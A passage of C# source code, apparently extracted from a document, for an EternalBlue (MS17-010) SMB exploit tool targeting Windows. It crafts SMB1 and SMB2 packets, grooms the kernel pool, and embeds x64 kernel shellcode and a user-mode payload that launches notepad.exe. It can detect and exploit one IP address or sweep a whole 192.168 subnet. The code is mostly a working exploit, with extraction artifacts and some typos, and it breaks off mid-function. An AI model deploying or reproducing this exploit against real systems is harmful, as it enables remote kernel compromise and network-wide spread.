    byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray();
    SendSMBMessage(sock, pkt, true);
    return ReceiveSMBMessage(sock);
}

static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID)
{
    SMB_HEADER header = new SMB_HEADER
    {

```

```

        protocol = 0x424d53ff,
        command = 0x75,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0x2001,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = 0xfeff,
        PIDLow = 0x4b2f,
        UID = UID,
        MID = 0x5ec5
    };
    byte[] headerBytes = GetBytes(header);

    SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new
SMB_COM_TREE_CONNECT_ANDX_REQUEST
    {
        WordCount = 0x04,
        AndXCommand = 0xff,
        AndXReserved = 0x00,
        AndXOffset = 0x0000,
        Flags = 0x0000,
        PasswordLength = 0x0001,
    };
    byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" +
"\0?????\0");
    List<byte> SMBData = new List<byte>();
    SMBData.Add(0x00); //Password
    SMBData.AddRange(PathServiceBytes); //Path + Service
    treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count;

    byte[] TreeConnectAndxRequestBytes =
GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray();
    byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray();

    SendSMBMessage(sock, pkt, true);
    return ReceiveSMBMessage(sock);

```

```

}

static public byte[] MakeSMB1NTTTransPacket(ushort TID, ushort UID)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0xa0,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = TID,
        PIDLow = 0xfeff,
        UID = UID,
        MID = 0x0040
    };
    byte[] headerBytes = GetBytes(header);

    SMB_COM_NT_TRANSACT_REQUEST NTtransactionRequest = new SMB_COM_NT_TRANSACT_REQUEST
    {
        WordCount = 0x14,
        MaxSetupCount = 0x01,
        Reserved = 0x0000,
        TotalParameterCount = 0x0000001e,
        TotalDataCount = 0x000103d0,
        MaxParameterCount = 0x0000001e,
        MaxDataCount = 0x00000000,
        ParameterCount = 0x0000001e,
        ParameterOffset = 0x0000004b,
        DataCount = 0x0000003d0,
        DataOffset = 0x00000068,
        SetupCount = 0x01,
        Function = 0x0000,
        Setup = 0x0000
    };
};

```

```

//Add SMBData
List<byte> SMBData = new List<byte>();
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 31));
SMBData.Add(0x01);
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 973));
NTtransactionRequest.ByteCount = (ushort)(SMBData.Count - 1);
//Merge SMBHeader with the NTTransactionRequest
byte[] NTtransactionRequestBytes =
GetBytes(NTtransactionRequest).Concat(SMBData.ToArray()).ToArray();
byte[] pkt = headerBytes.Concat(NTtransactionRequestBytes).ToArray();
return pkt;
}

static public byte[] MakeSMB1Trans2ExploitPacket(ushort TID, ushort UID, string type,
int time)
{

NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
{
    MessageTypeAndSize = 0x35100000
};

SMB_HEADER header = new SMB_HEADER
{
    protocol = 0x424d53ff,
    command = 0x33,
    errorClass = 0x00,
    _reserved = 0x00,
    errorCode = 0x0000,
    flags = 0x18,
    flags2 = 0xc007,
    PIDHigh = 0x0000,
    SecurityFeatures = 0x0000000000000000,
    reserved = 0x0000,
    TID = TID,
    PIDLow = 0xfeff,
    UID = UID,
    MID = 0x0040
};
};

```

```

byte[] headerBytes = GetBytes(NTHHeader).Concat(GetBytes(header)).ToArray();

SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new
SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
    WordCount = 0x09,
    TotalParameterCount = 0x0102,
    TotalDataCount = 0x1000,
    ParameterCount = 0x0000,
    ParameterOffset = 0x0000,
    ParameterDisplacement = 0x0000,
    DataCount = 0x1000,
    DataOffset = 0x0035,
    DataDisplacement = 0x0000, //we change this with our timeout int later
    FID = 0x0000,
    ByteCount = 0x1000
};
int timeout = (time * 16) + 3;
transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] {
0xd0, BitConverter.GetBytes(timeout)[0] }, 0);
//Merge SMBHeader with the transaction2SecondaryRequest
byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest);
byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray();

if (type.Equals("eb_trans2_exploit"))
{
    List<byte> SMBData = new List<byte>();

    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2957));
    SMBData.AddRange(new List<byte>()
    {
        0x80, 0x00, 0xa8, 0x00
    });
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 16));
    SMBData.AddRange(new List<byte>()
    {
        0xff, 0xff
    });
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 6));
    SMBData.AddRange(new List<byte>()

```

```

    {
        0xff,0xff
    });
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 22));
SMBData.AddRange(new List<byte>()
{
    0x00,0xf1,0xdf,0xff // x86 addresses
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 8));
SMBData.AddRange(new List<byte>()
{
0x20,0xf0,0xdf,0xff,0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff,0x60,0x00,0x04,0x10
    });
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
SMBData.AddRange(new List<byte>()
{
    0x80,0xef,0xdf,0xff
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
SMBData.AddRange(new List<byte>()
{
0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff,0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
    });
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x10));
SMBData.AddRange(new List<byte>()
{
    0x60,0x00,0x04,0x10
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xc));
SMBData.AddRange(new List<byte>()
{
    0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x8));
SMBData.AddRange(new List<byte>()
{
    0x80,0x10
});

```

```

        SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xe));
        SMBData.AddRange(new List<byte>()
        {
            0x39, 0xbb
        });
        SMBData.AddRange(Enumerable.Repeat((byte)0x41, 965));
        pkt = pkt.Concat(SMBData.ToArray()).ToArray();
        return pkt;
    }

    if (type.Equals("eb_trans2_zero"))
    {
        List<byte> SMBData = new List<byte>();
        SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2055));
        SMBData.Add(0x83);
        SMBData.Add(0xf3);
        SMBData.AddRange(Enumerable.Repeat((byte)0x41, 2039));
        pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
        return pkt;
    }
    else
    {
        List<byte> SMBData = new List<byte>();
        SMBData.AddRange(Enumerable.Repeat((byte)0x41, 4096));
        pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
    }

    return pkt;
}

static public byte[] MakeSMB1EchoPacket(ushort TID, ushort UID)
{
    NETBIOS_HEADER NTHheader = new NETBIOS_HEADER
    {
        MessageTypeAndSize = 0x31000000
    };

    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,

```

```

        command = 0x2b,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x98,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = TID,
        PIDLow = 0xfeff,
        UID = UID,
        MID = 0x0040
    };
    byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();

    SMB_COM_ECHO_REQUEST echoRequest = new SMB_COM_ECHO_REQUEST
    {
        WordCount = 0x1,
        EchoSequenceNumber = 0x0001,
    };

    //Add SMBData
    List<byte> SMBData = new List<byte>();
    SMBData.AddRange(Enumerable.Repeat((byte)0x41, 11));
    SMBData.Add(0x00);
    echoRequest.ByteCount = (ushort)(SMBData.Count);
    //Merge SMBHeader with the echoRequest
    byte[] echoRequestBytes =
GetBytes(echoRequest).Concat(SMBData.ToArray()).ToArray();
    byte[] pkt = headerBytes.Concat(echoRequestBytes).ToArray();
    return pkt;
}

static public byte[] SMB1LargeBuffer(SMB_HEADER header, Socket sock)
{
    //Send and Recveive NT Trans packet
    byte[] nt_trans_pkt = MakeSMB1NTTransPacket(header.TID, header.UID);
    SendSMBMessage(sock, nt_trans_pkt, true);
    ReceiveSMBMessage(sock);
}

```



```

    if (start)
    {
        byte[] flags2 = { 0x07, 0xc0 };
        byte[] vnum = { 0x2d, 0x01 };
        byte[] native_os = { 0xf0, 0xff, 0x00, 0x00, 0x00 };
        pkt = MakeSMB1FreeHoleSessionPacket(flags2, vnum, native_os);
    }
    else
    {
        byte[] flags2 = { 0x07, 0x40 };
        byte[] vnum = { 0x2c, 0x01 };
        byte[] native_os = { 0xf8, 0x87, 0x00, 0x00, 0x00 };
        pkt = MakeSMB1FreeHoleSessionPacket(flags2, vnum, native_os);
    }

    SendSMBMessage(sock, pkt, true);
    ReceiveSMBMessage(sock);
    return sock;
}

static public List<Socket> SMB2Grooms(string ip, int port, int grooms, byte[]
payload_hdr_pkt, List<Socket> groom_socks)
{
    for (int i = 0; i < grooms; i++)
    {
        TcpClient client = new TcpClient(ip, port);
        Socket gsock = client.Client;
        groom_socks.Add(gsock);
        SendSMBMessage(gsock, payload_hdr_pkt, false);
    }
    return groom_socks;
}

static public byte[] MakeSMB2PayLoadHeadersPacket()
{
    byte[] pkt = { 0x00, 0x00, 0xff, 0xf7, 0xfe, 0x53, 0x4D, 0x42 };
    byte[] tmp = Enumerable.Repeat((byte)0x00, 124).ToArray();
    pkt = pkt.Concat(tmp).ToArray();
    return pkt;
}

```

```

static public byte[] MakeSMB2PayloadBodyPacket(byte[] kernel_user_payload)
{
    int pkt_max_len = 4204;
    int pkt_setup_len = 497;
    int pkt_max_payload = pkt_max_len - pkt_setup_len;
    List<byte> pkt = new List<byte>();

    pkt.AddRange(new List<byte>()
    {
        0x00, 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00, 0x03, 0x00, 0x00, 0x00
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 28));
    pkt.AddRange(new List<byte>()
    {
        0x03,0x00,0x00,0x00
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 116));
    //KI_USER_SHARED_DATA addresses
    pkt.AddRange(new List<byte>()
    { //64
0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff,0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 16));
    pkt.AddRange(new List<byte>()
    { //86
        0xc0,0xf0,0xdf,0xff,0xc0,0xf0,0xdf,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 196));

    //payload address
    pkt.AddRange(new List<byte>()
    {
        0x90,0xf1,0xdf,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 4));
    pkt.AddRange(new List<byte>()
    {
        0xf0,0xf1,0xdf,0xff
    }

```

```

});
pkt.AddRange(Enumerable.Repeat((byte)0x00, 64));
pkt.AddRange(new List<byte>()
{
    0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
});
pkt.AddRange(Enumerable.Repeat((byte)0x00, 8));
pkt.AddRange(new List<byte>()
{
    0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff,0x00
});
pkt = pkt.Concat(kernel_user_payload).ToList();

int j = pkt_max_payload - kernel_user_payload.Length;
pkt.Add(0x00);
/*
for (int i = 0; i < j; i++)
{
    pkt.Add(0x00);
}
*/
return pkt.ToArray();
}

static public byte[] MakeKernelShellcode()
{
    byte[] shellcode = {
0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,

```

0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00,
0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00,
0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1,
0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48,
0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8,
0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83,
0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00,
0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41,
0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83,
0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00,
0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81,
0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41,
0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6,
0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48,
0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, 0x00, 0x05, 0x00, 0x00, 0x48, 0x39,
0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2,
0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00,
0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2,
0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3,

0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00,
0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10,
0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00,
0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00,
0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7,
0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00,
0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00,
0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00,
0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48,
0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB,
0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48,
0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C,
0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB,
0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41,
0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89,
0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31,
0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41,
0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58,
0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00,
0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, 0x74, 0x00, 0x00, 0x00, 0x48, 0x89,

```
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
    0x5E,0xC3};
    return shellcode;
}

static public byte[] MakeKernelUserPayload(byte[] ring3)
{
    byte[] shellcode = MakeKernelShellcode();
```

```

        byte[] length = BitConverter.GetBytes((UInt16)ring3.Length);
        shellcode = shellcode.Concat(length).ToArray();
        shellcode = shellcode.Concat(ring3).ToArray();
        return shellcode;
    }

    public static string GetLocalIPAddress()
    {
        var host = Dns.GetHostEntry(Dns.GetHostName());
        foreach (var ip in host.AddressList)
        {
            if (ip.AddressFamily == AddressFamily.InterNetwork)
            {
                return ip.ToString();
            }
        }
        throw new Exception("No network adapters with an IPv4 address in the system!");
    }

    public static bool IsValidIP(string ipString)
    {
        if (ipString.Count(c => c == '.') != 3) return false;
        IPAddress address;
        return IPAddress.TryParse(ipString, out address);
    }

    static public List<string> GetNetworkIPs(string localip)
    {
        List<string> networkIPs = new List<string>();
        if (localip.Contains("192.168."))
        {
            int index = localip.LastIndexOfAny(".").ToCharArray();
            string subip = localip.Remove(index + 1);
            for (int i = 1; i < 255; i++)
            {
                networkIPs.Add(subip + i);
            }
            networkIPs.Remove(localip);
        }
        return networkIPs;
    }

```

```

}

static bool Detect(string target)
{
    string ip = target;
    int port = 445;

    try
    {
        TcpClient client = new TcpClient(ip, port);
        Socket sock = client.Client;

        ClientNegotiate(sock);
        byte[] response = SMB1AnonymousLogin(sock);
        Console.WriteLine("Trying to detect version of Windows running on " + target +
" ...");

        DetectVersionOfWindows(response);

        SMB_HEADER header = SMB_HeaderFromBytes(response);
        TreeConnectAndXRequest(ip, sock, header.UID);

        //This is checked with userid 2049 and not 2048
        bool vulnerable = CheckVulnerability(sock);
        if (vulnerable)
        {
            Console.WriteLine(target + " appears to be vulnerable!");
            sock.Close();
            client.Close();
            return true;
        }
        else
        {
            Console.WriteLine("IP: " + target + " does not appears to be
vulnerable!");

            sock.Close();
            client.Close();
        }
    }
    catch
    {

```

```

        return false;
    }
    return false;
}

static void Exploit(string target)
{
    string ip = target;
    int port = 445;
    int grooms = 12;
    TcpClient client = new TcpClient(ip, port);
    Socket sock = client.Client;

    byte[] buf = new byte[279] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,
0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };

    byte[] shellcode = MakeKernelUserPayload(buf);
    byte[] payload_hdr_pkt = MakeSMB2PayloadHeadersPacket();
    byte[] payload_body_pkt = MakeSMB2PayloadBodyPacket(shellcode);

    Console.WriteLine("Trying to exploit: " + target);
    ClientNegotiate(sock);
    byte[] response = SMB1AnonymousLogin(sock);

```

```

SMB_HEADER header = SMB_HeaderFromBytes(response);
response = TreeConnectAndXRequest(ip, sock, header.UID);
header = SMB_HeaderFromBytes(response);
sock.ReceiveTimeout = 2000;
Console.WriteLine("Connection established for exploitation.");

    Console.WriteLine("Creating a large SMB1 buffer... All but last fragment of
exploit packet");
    SMB1LargeBuffer(header, sock);
    Socket fhs_sock = SMB1FreeHole(ip, port, true);

    Console.WriteLine("Grooming...");
    List<Socket> grooms_socks = new List<Socket>();
    grooms_socks = SMB2Grooms(ip, port, grooms, payload_hdr_pkt, grooms_socks);
    Socket fhf_sock = SMB1FreeHole(ip, port, false);
    fhs_sock.Close();
    grooms_socks = SMB2Grooms(ip, port, 6, payload_hdr_pkt, grooms_socks);
    fhf_sock.Close();

    Console.WriteLine("Ready for final exploit...");
    byte[] final_exploit_pkt = MakeSMB1Trans2ExploitPacket(header.TID, header.UID,
"eb_trans2_exploit", 15);

    try
    {
        SendSMBMessage(sock, final_exploit_pkt, false);
        response = ReceiveSMBMessage(sock);
        header = new SMB_HEADER();
        header = SMB_HeaderFromBytes(response);
    }
    catch (Exception e)
    {
        Console.WriteLine("Socket error, this might end badly" + e.Message);
    }

    Console.WriteLine("Sending exploits with the grooms");
    foreach (Socket s in grooms_socks)
    {
        SendSMBMessage(s, payload_body_pkt.Take(2920).ToArray(), false);
    }

```

```

foreach (Socket s in grooms_socks)
{
    SendSMBMessage(s, payload_body_pkt.Skip(2920).ToArray(), false);
}
foreach (Socket s in grooms_socks)
{
    s.Close();
}
Console.WriteLine("Exploit send successfully...");
client.Close();
sock.Close();
}

static void Main(string[] args)
{
    if (args.Length < 2)
    {
        Console.WriteLine("Usage: Eternalblue.exe [detect/exploit] [ip/all]");
        Console.WriteLine("Detect eternalblue on specific IP:
Eternalblue.exe detect 192.168.141.210");
        Console.WriteLine("Detect eternalblue on all IPs on network:
Eternalblue.exe detect all");
        Console.WriteLine("Exploit eternalblue on specific IP:
Eternalblue.exe exploit 192.168.141.210");
        Console.WriteLine("Exploit eternalblue on all IPs on network:
Eternalblue.exe exploit all");
        Environment.Exit(0);
    }

    bool shouldExploit = false;
    if (args[0].Equals("exploit"))
    {
        shouldExploit = true;
    }

    if (args[1].Equals("all"))
    {
        string localip = GetLocalIPAddress();
        Console.WriteLine("Current IP:" + localip);
    }
}

```

```
Console.WriteLine("Gathering list of IPs on current subnet...");
List<string> networkIPs = GetNetworkIPs(localip);
foreach (string ip in networkIPs)
{
    Console.WriteLine("Trying: " + ip);
    if (Detect(ip) && shouldExploit)
    {
        Exploit(ip);
    }
}

else
{
